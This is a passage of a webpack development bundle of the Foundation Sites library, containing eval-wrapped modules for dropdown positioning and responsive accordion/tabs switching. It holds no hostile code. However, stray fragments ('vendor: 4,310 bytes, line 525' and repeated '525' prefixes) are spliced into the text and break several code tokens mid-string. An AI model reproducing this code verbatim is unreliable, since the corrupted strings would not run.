__webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\nfunction _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, "string");
vendor: 4,310 bytes, line 525
525 return _typeof(key) === "symbol" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== "object" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || "default"); if (_typeof(res) !== "object") return res; throw new TypeError("@@toPrimitive must return a primitive value."); } return (hint === "string" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, "prototype", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } else if (call !== void 0) { throw new TypeError("Derived constructors may only return object or undefined"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\nvar POSITIONS = [\'left\', \'right\', \'top\', \'bottom\'];\nvar VERTICAL_ALIGNMENTS = [\'top\', \'bottom\', \'center\'];\nvar HORIZONTAL_ALIGNMENTS = [\'left\', \'right\', \'center\'];\nvar ALIGNMENTS = {\n  \'left\': VERTICAL_ALIGNMENTS,\n  \'right\': VERTICAL_ALIGNMENTS,\n  \'top\': HORIZONTAL_ALIGNMENTS,\n  \'bottom\': HORIZONTAL_ALIGNMENTS\n};\nfunction nextItem(item, array) {\n  var currentIdx = array.indexOf(item);\n  if (currentIdx === array.length - 1) {\n    return array[0];\n  } else {\n    return array[currentIdx + 1];\n  }\n}\nvar Positionable = /*#__PURE__*/function (_Plugin) {\n  _inherits(Positionable, _Plugin);\n  var _super = _createSuper(Positionable);\n  function Positionable() {\n    _classCallCheck(this, Positionable);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Positionable, [{\n    key: "_init",\n    value:\n    /**\n     * Abstract class encapsulating the tether-like explicit positioning logic\n     * including repositioning based on overlap.\n     * Expects classes to define defaults for vOffset, hOffset, position,\n     * alignment, allowOverlap, and allowBottomOverlap. They can do this by\n     * extending the defaults, or (for now recommended due to the way docs are\n     * generated) by explicitly declaring them.\n     *\n     **/\n\n    function _init() {\n      this.triedPositions = {};\n      this.position = this.options.position === \'auto\' ? this._getDefaultPosition() : this.options.position;\n      this.alignment = this.options.alignment === \'auto\' ? this._getDefaultAlignment() : this.options.alignment;\n      this.originalPosition = this.position;\n      this.originalAlignment = this.alignment;\n    }\n  }, {\n    key: "_getDefaultPosition",\n    value: function _getDefaultPosition() {\
525n      return \'bottom\';\n    }\n  }, {\n    key: "_getDefaultAlignment",\n    value: function _getDefaultAlignment() {\n      switch (this.position) {\n        case \'bottom\':\n        case \'top\':\n          return (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.rtl)() ? \'right\' : \'left\';\n        case \'left\':\n        case \'right\':\n          return \'bottom\';\n      }\n    }\n\n    /**\n     * Adjusts the positionable possible positions by iterating through alignments\n     * and positions.\n     * @function\n     * @private\n     */\n  }, {\n    key: "_reposition",\n    value: function _reposition() {\n      if (this._alignmentsExhausted(this.position)) {\n        this.position = nextItem(this.position, POSITIONS);\n        this.alignment = ALIGNMENTS[this.position][0];\n      } else {\n        this._realign();\n      }\n    }\n\n    /**\n     * Adjusts the dropdown pane possible positions by iterating through alignments\n     * on the current position.\n     * @function\n     * @private\n     */\n  }, {\n    key: "_realign",\n    value: function _realign() {\n      this._addTriedPosition(this.position, this.alignment);\n      this.alignment = nextItem(this.alignment, ALIGNMENTS[this.position]);\n    }\n  }, {\n    key: "_addTriedPosition",\n    value: function _addTriedPosition(position, alignment) {\n      this.triedPositions[position] = this.triedPositions[position] || [];\n      this.triedPositions[position].push(alignment);\n    }\n  }, {\n    key: "_positionsExhausted",\n    value: function _positionsExhausted() {\n      var isExhausted = true;\n      for (var i = 0; i < POSITIONS.length; i++) {\n        isExhausted = isExhausted && this._alignmentsExhausted(POSITIONS[i]);\n      }\n      return isExhausted;\n    }\n  }, {\n    key: "_alignmentsExhausted",\n    value: function _alignmentsExhausted(position) {\n      return this.triedPositions[position] && this.triedPositions[position].length === ALIGNMENTS[position].length;\n    }\n\n    // When we\'re trying to center, we don\'t want to apply offset that\'s going to\n    // take us just off center, so wrap around to return 0 for the appropriate\n    // offset in those alignments.  TODO: Figure out if we want to make this\n    // configurable behavior... it feels more intuitive, especially for tooltips, but\n    // it\'s possible someone might actually want to start from center and then nudge\n    // slightly off.\n  }, {\n    key: "_getVOffset",\n    value: function _getVOffset() {\n      return this.options.vOffset;\n    }\n  }, {\n    key: "_getHOffset",\n    value: function _getHOffset() {\n      return this.options.hOffset;\n    }\n  }, {\n    key: "_setPosition",\n    value: function _setPosition($anchor, $element, $parent) {\n      if ($anchor.attr(\'aria-expanded\') === \'false\') {\n        return false;\n      }\n      if (!this.options.allowOverlap) {\n        // restore original position & alignment before checking overlap\n        this.position = this.originalPosition;\n        this.alignment = this.originalAlignment;\n      }\n      $element.offset(_foundation_util_box__WEBPACK_IMPORTED_MODULE_0__.Box.GetExplicitOffsets($element, $anchor, this.position, this.alignment, this._getVOffset(), this._getHOffset()));\n      if (!this.options.allowOverlap) {\n        var minOverlap = 100000000;\n        // default coordinates to how we start, in case we can\'t figure out better\n        var minCoordinates = {\n          position: this.position,\n          alignment: this.alignment\n        };\n        while (!this._positionsExhausted()) {\n          var overlap = _foundation_util_box__WEBPACK_IMPORTED_MODULE_0__.Box.OverlapArea($element, $parent, false, false, this.options.allowBottomOverlap);\n          if (overlap === 0) {\n            return;\n          }\n          if (overlap < minOverlap) {\n            minOverlap = overlap;\n            minCoordinates = {\n              position: this.position,\n              alignment: this.alignment\n            };\n          }\n          this._reposition();\n          $element.offset(_foundation_util_box__WEBPACK_IMPORTED_MODULE_0__.Box.GetExplicitOffsets($element, $anchor, this.position, this.alignment, this._getVOffset(), this._getHOffset()));\n        }\n        // If we get through the entire loop, there was no non-overlapping\n        // position available. Pick the version with least overlap.\n        this.position = minCoordinates.position;\n        this.alignment = minCoordinates.alignment;\n        $element.offset(_foundation_util_box__WEBPACK_IMPORTED_MODULE_0__.Box.GetExplicitOffsets($element, $anchor, this.position, this.alignment, this._getVOffset(), this._getHOffset()));\n      }\n    }\n  }]);\n  return Positionable;\n}
525(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__.Plugin);\nPositionable.defaults = {\n  /**\n   * Position of positionable relative to anchor. Can be left, right, bottom, top, or auto.\n   * @option\n   * @type {string}\n   * @default \'auto\'\n   */\n  position: \'auto\',\n  /**\n   * Alignment of positionable relative to anchor. Can be left, right, bottom, top, center, or auto.\n   * @option\n   * @type {string}\n   * @default \'auto\'\n   */\n  alignment: \'auto\',\n  /**\n   * Allow overlap of container/window. If false, dropdown positionable first\n   * try to position as defined by data-position and data-alignment, but\n   * reposition if it would cause an overflow.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  allowOverlap: false,\n  /**\n   * Allow overlap of only the bottom of the container. This is the most common\n   * behavior for dropdowns, allowing the dropdown to extend the bottom of the\n   * screen but not otherwise influence or break out of the container.\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  allowBottomOverlap: true,\n  /**\n   * Number of pixels the positionable should be separated vertically from anchor\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  vOffset: 0,\n  /**\n   * Number of pixels the positionable should be separated horizontally from anchor\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  hOffset: 0\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.positionable.js?')},"./js/foundation.responsiveAccordionTabs.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   ResponsiveAccordionTabs: function() { return /* binding */ ResponsiveAccordionTabs; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_accordion__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.accordion */ \"./js/foundation.accordion.js\");\n/* harmony import */ var _foundation_tabs__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.tabs */ \"./js/foundation.tabs.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n\n// The plugin matches the plugin classes with these plugin instances.\nvar MenuPlugins = {\n  tabs: {\n    cssClass: 'tabs',\n    plugin: _foundation_tabs__WEBPACK_IMPORTED_MODULE_5__.Tabs,\n    open: function open(plugin, target) {\n      return plugin.selectTab(target);\n    },\n    close: null /* not supported */,\n    toggle: null /* not supported */\n  },\n\n  accordion: {\n    cssClass: 'accordion',\n    plugin: _foundation_accordion__WEBPACK_IMPORTED_MODULE_4__.Accordion,\n    open: function open(plugin, target) {\n      return plugin.down(jquery__WEBPACK_IMPORTED_MODULE_0___default()(target));\n    },\n    close: function close(plugin, target) {\n      return plugin.up(jquery__WEBPACK_IMPORTED_MODULE_0___default()(target));\n    },\n    toggle: function toggle(plugin, target) {\n      return plugin.toggle(jquery__WEBPACK_IMPORTED_MODULE_0___default()(target));\n    }\n  }\n};\n\n/**\n * ResponsiveAccordionTabs module.\n * @module foundation.responsiveAccordionTabs\n * @requires foundation.util.motion\n * @requires foundation.accordion\n * @requires foundation.tabs\n */\nvar ResponsiveAccordionTabs = /*#__PURE__*/function (_Plugin) {\n  _inherits(ResponsiveAccordionTabs, _Plugin);\n  var _super = _createSuper(ResponsiveAccordionTabs);\n  function ResponsiveAccordionTabs(element, options) {\n    var _this2;\n    _classCallCheck(this, ResponsiveAccordionTabs);\n    _this2 = _super.call(this, element, options);\n    return _possibleConstructorReturn(_this2, _this2.options.reflow && _this2.storezfData || _assertThisInitialized(_this2));\n  }\n\n  /**\n   * Creates a new instance of a responsive accordion tabs.\n   * @class\n   * @name ResponsiveAccordionTabs\n   * @fires ResponsiveAccordionTabs#init\n   * @param {jQuery} element - jQuery object to make into Responsive Accordion Tabs.\n   * @param {Object} options - Overrides to the default plugin settings.\n   */\n  _createClass(ResponsiveAccordionTabs, [{\n    key: \"_setup\",\n    value: function _setup(element, options) {\n      this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n      this.$element.data('zfPluginBase', this);\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, ResponsiveAccordionTabs.defaults, this.$element.data(), options);\n      this.rules = this.$element.data('responsive-accordion-tabs');\n      this.currentMq = null;\n      this.currentRule = null;\n      this.currentPlugin = null;\n      this.className = 'ResponsiveAccordionTabs';
525 // ie9 back compat\n      if (!this.$element.attr('id')) {\n        this.$element.attr('id', (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.GetYoDigits)(6, 'responsiveaccordiontabs'));\n      }\n      this._init();\n      this._events();\n    }\n\n    /**\n     * Initializes the Menu by parsing the classes from the 'data-responsive-accordion-tabs' attribute on the element.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__.MediaQuery._init();\n\n      // The first time an Interchange plugin is initialized, this.rules is converted from a string of \"classes\" to an object of rules\n      if (typeof this.rules === 'string') {\n        var rulesTree = {};\n\n        // Parse rules from \"classes\" pulled from data attribute\n        var rules = this.rules.split(' ');\n\n        // Iterate through every rule found\n        for (var i = 0; i < rules.length; i++) {\n          var rule = rules[i].split('-');\n          var ruleSize = rule.length > 1 ? rule[0] : 'small';\n          var rulePlugin = rule.length > 1 ? rule[1] : rule[0];\n          if (MenuPlugins[rulePlugin] !== null) {\n            rulesTree[ruleSize] = MenuPlugins[rulePlugin];\n          }\n        }\n        this.rules = rulesTree;\n      }\n      this._getAllOptions();\n      if (!jquery__WEBPACK_IMPORTED_MODULE_0___default().isEmptyObject(this.rules)) {\n        this._checkMediaQueries();\n      }\n    }\n  }, {\n    key: \"_getAllOptions\",\n    value: function _getAllOptions() {\n      //get all defaults and options\n      var _this = this;\n      _this.allOptions = {};\n      for (var key in MenuPlugins) {\n        if (MenuPlugins.hasOwnProperty(key)) {\n          var obj = MenuPlugins[key];\n          try {\n            var dummyPlugin = jquery__WEBPACK_IMPORTED_MODULE_0___default()('<ul></ul>');\n            var tmpPlugin = new obj.plugin(dummyPlugin, _this.options);\n            for (var keyKey in tmpPlugin.options) {\n              if (tmpPlugin.options.hasOwnProperty(keyKey) && keyKey !== 'zfPlugin') {\n                var objObj = tmpPlugin.options[keyKey];\n                _this.allOptions[keyKey] = objObj;\n              }\n            }\n            tmpPlugin.destroy();\n          } catch (e) {\n            console.warn(\"Warning: Problems getting Accordion/Tab options: \".concat(e));\n          }\n        }\n      }\n    }\n\n    /**\n     * Initializes events for the Menu.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_events\",\n    value: function _events() {\n      this._changedZfMediaQueryHandler = this._checkMediaQueries.bind(this);\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('changed.zf.mediaquery', this._changedZfMediaQueryHandler);\n    }\n\n    /**\n     * Checks the current screen width against available media queries. If the media query has changed, and the plugin needed has changed, the plugins will swap out.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_checkMediaQueries\",\n    value: function _checkMediaQueries() {\n      var matchedMq,\n        _this = this;\n      // Iterate through each rule and find the last matching rule\n      jquery__WEBPACK_IMPORTED_MODULE_0___default().each(this.rules, function (key) {\n        if (_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__.MediaQuery.atLeast(key)) {\n          matchedMq = key;\n        }\n      });\n\n      // No match? No dice\n      if (!matchedMq) return;\n\n      // Plugin already initialized? We good\n      if (this.currentPlugin instanceof this.rules[matchedMq].plugin) return;\n\n      // Remove existing plugin-specific CSS classes\n      jquery__WEBPACK_IMPORTED_MODULE_0___default().each(MenuPlugins, function (key, value) {\n        _this.$element.removeClass(value.cssClass);\n      });\n\n      // Add the CSS class for the new plugin\n      this.$element.addClass(this.rules[matchedMq].cssClass);\n\n      // Create an instance of the new plugin\n      if (this.currentPlugin) {\n        //don't know 
525why but on nested elements data zfPlugin get's lost\n        if (!this.currentPlugin.$element.data('zfPlugin') && this.storezfData) this.currentPlugin.$element.data('zfPlugin', this.storezfData);\n        this.currentPlugin.destroy();\n      }\n      this._handleMarkup(this.rules[matchedMq].cssClass);\n      this.currentRule = this.rules[matchedMq];\n      this.currentPlugin = new this.currentRule.plugin(this.$element, this.options);\n      this.storezfData = this.currentPlugin.$element.data('zfPlugin');\n    }\n  }, {\n    key: \"_handleMarkup\",\n    value: function _handleMarkup(toSet) {\n      var _this = this,\n        fromString = 'accordion';\n      var $panels = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-tabs-content=' + this.$element.attr('id') + ']');\n      if ($panels.length) fromString = 'tabs';\n      if (fromString === toSet) {\n        return;\n      }\n      var tabsTitle = _this.allOptions.linkClass ? _this.allOptions.linkClass : 'tabs-title';\n      var tabsPanel = _this.allOptions.panelClass ? _this.allOptions.panelClass : 'tabs-panel';\n      this.$element.removeAttr('role');\n      var $liHeads = this.$element.children('.' + tabsTitle + ',[data-accordion-item]').removeClass(tabsTitle).removeClass('accordion-item').removeAttr('data-accordion-item');\n      var $liHeadsA = $liHeads.children('a').removeClass('accordion-title');\n      if (fromString === 'tabs') {\n        $panels = $panels.children('.' + tabsPanel).removeClass(tabsPanel).removeAttr('role').removeAttr('aria-hidden').removeAttr('aria-labelledby');\n        $panels.children('a').removeAttr('role').removeAttr('aria-controls').removeAttr('aria-selected');\n      } else {\n        $panels = $liHeads.children('[data-tab-content]').removeClass('accordion-content');\n      }\n      $panels.css({\n        display: '',\n        visibility: ''\n      });\n      $liHeads.css({\n        display: '',\n        visibility: ''\n      });\n      if (toSet === 'accordion') {\n        $panels.each(function (key, value) {\n          jquery__WEBPACK_IMPORTED_MODULE_0___default()(value).appendTo($liHeads.get(key)).addClass('accordion-content').attr('data-tab-content', '').removeClass('is-active').css({\n            height: ''\n          });\n          jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-tabs-content=' + _this.$element.attr('id') + ']').after('<div id=\"tabs-placeholder-' + _this.$element.attr('id') + '\"></div>').detach();\n          $liHeads.addClass('accordion-item').attr('data-accordion-item', '');\n          $liHeadsA.addClass('accordion-title');\n        });\n      } else if (toSet === 'tabs') {\n        var $tabsContent = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-tabs-content=' + _this.$element.attr('id') + ']');\n        var $placeholder = jquery__WEBPACK_IMPORTED_MODULE_0___default()('#tabs-placeholder-' + _this.$element.attr('id'));\n        if ($placeholder.length) {\n          $tabsContent = jquery__WEBPACK_IMPORTED_MODULE_0___default()('<div class=\"tabs-content\"></div>').insertAfter($placeholder).attr('data-tabs-content', _this.$element.attr('id'));\n          $placeholder.remove();\n        } else {\n          $tabsContent = jquery__WEBPACK_IMPORTED_MODULE_0___default()('<div class=\"tabs-content\"></div>').insertAfter(_this.$element).attr('data-tabs-content', _this.$element.attr('id'));\n        }\n        $panels.each(function (key, value) {\n          var tempValue = jquery__WEBPACK_IMPORTED_MODULE_0___default()(value).appendTo($tabsContent).addClass(tabsPanel);\n          var hash = $liHeadsA.get(key).hash.slice(1);\n          var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(value).attr('id') || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.GetYoDigits)(6, 'accordion');\n          if (hash !== id) {\n            if (hash !== '') {\n              jquery__WEBPACK_IMPORTED_MODULE_0___default()(value).attr('id', hash);\n            } else {\n              hash = id;\n              jquery__WEBPACK_IMPORTED_MODULE_0___default()(value).attr('id', hash);\n              jquery__WEBPACK_IMPORTED_MODULE_0___default()($liHeadsA.get(key)).attr('href', jquery__WEBPACK_IMPORTED_MODULE_0___default()($liHeadsA.get(key)).attr('href').replace('#', '') + '#' + hash);\n            }\n          }\n          var isActive = jquery__WEBPACK_IMPORTED_MODULE_0___default()($liHeads.get(key)).hasClass('is-active');\n          if (isActive) {\n            tempValue.addClass('is-active');\n          }\n        });\n        $liHeads.addClass(tabsTitle);\n      }\n      ;\n    }\n\n    /**\n     * Opens the plugin pane defined by `target`.\n     * @param {jQuery | String} target - jQuery object or string of the id of the pane to open.\n     * @see Accordion.down\n     * @see Tabs.selectTab\n     * @function\n     */\n  }, {\n    key: \"open\",\n    value: function open() {\n      if (this.currentRule && typeof this.currentRule.open === 'function') {\n        var _this$currentRule;\n        return (_this$currentRule = this.currentRule).open.apply(_this$currentRule, [this.currentPlugin].concat(Array.prototype.slice.call(arguments)));\n      }\n    }\n\n    /**\n     * Closes the plugin pane defined by `target`. Not availaible for Tabs.\n     * @param {jQuery | String} target - jQuery object or string of the id of the pane to close.\n     * @see Accordion.up\n     * @function\n     */\n  }, {\n    key: \"close\",\n    value: function close() {\n      if (this.currentRule && typeof this.currentRule.close === 'function') {\n        var _this$currentRule2;\n        return (_this$currentRule2 = this.currentRule).close.apply(_this$currentRule2, [this.currentPlugin].concat(Array.prototype.slice.call(arguments)));\n      }\n    }\n\n    /**\n     * Toggles the plugin pane defined by `target`. Not availaible for Tabs.\n     * @param {jQuery | String} target - jQuery object or string of the id of the pane to toggle.\n     * @see Accordion.toggle\n     * @function\n     */\n  }
525, {\n    key: \"toggle\",\n    value: function toggle() {\n      if (this.currentRule && typeof this.currentRule.toggle === 'function') {\n        var _this$currentRule3;\n        return (_this$currentRule3 = this.currentRule).toggle.apply(_this$currentRule3, [this.currentPlugin].concat(Array.prototype.slice.call(arguments)));\n      }\n    }\n\n    /**\n     * Destroys the instance of the current plugin on this element, as well as the window resize handler that switches the plugins out.\n     * @function\n     */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      if (this.currentPlugin) this.currentPlugin.destroy();\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('changed.zf.mediaquery', this._changedZfMediaQueryHandler);\n    }\n  }]);\n  return ResponsiveAccordionTabs;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__.Plugin);\nResponsiveAccordionTabs.defaults = {};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.responsiveAccordionTabs.js?")},"./js/foundation.responsiveMenu.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   ResponsiveMenu: function() { return /* binding */ ResponsiveMenu; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.drilldown */ "./js/foundation.drilldown.js");\n/* harmony import */ var _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.accordionMenu */ "./js/foundation.accordionMenu.js");\nfunction _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, "string"); return _typeof(key) === "symbol" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== "object" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || "default"); if (_typeof(res) !== "object") return res; throw new TypeError("@@toPrimitive must return a primitive value."); } return (hint === "string" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { c
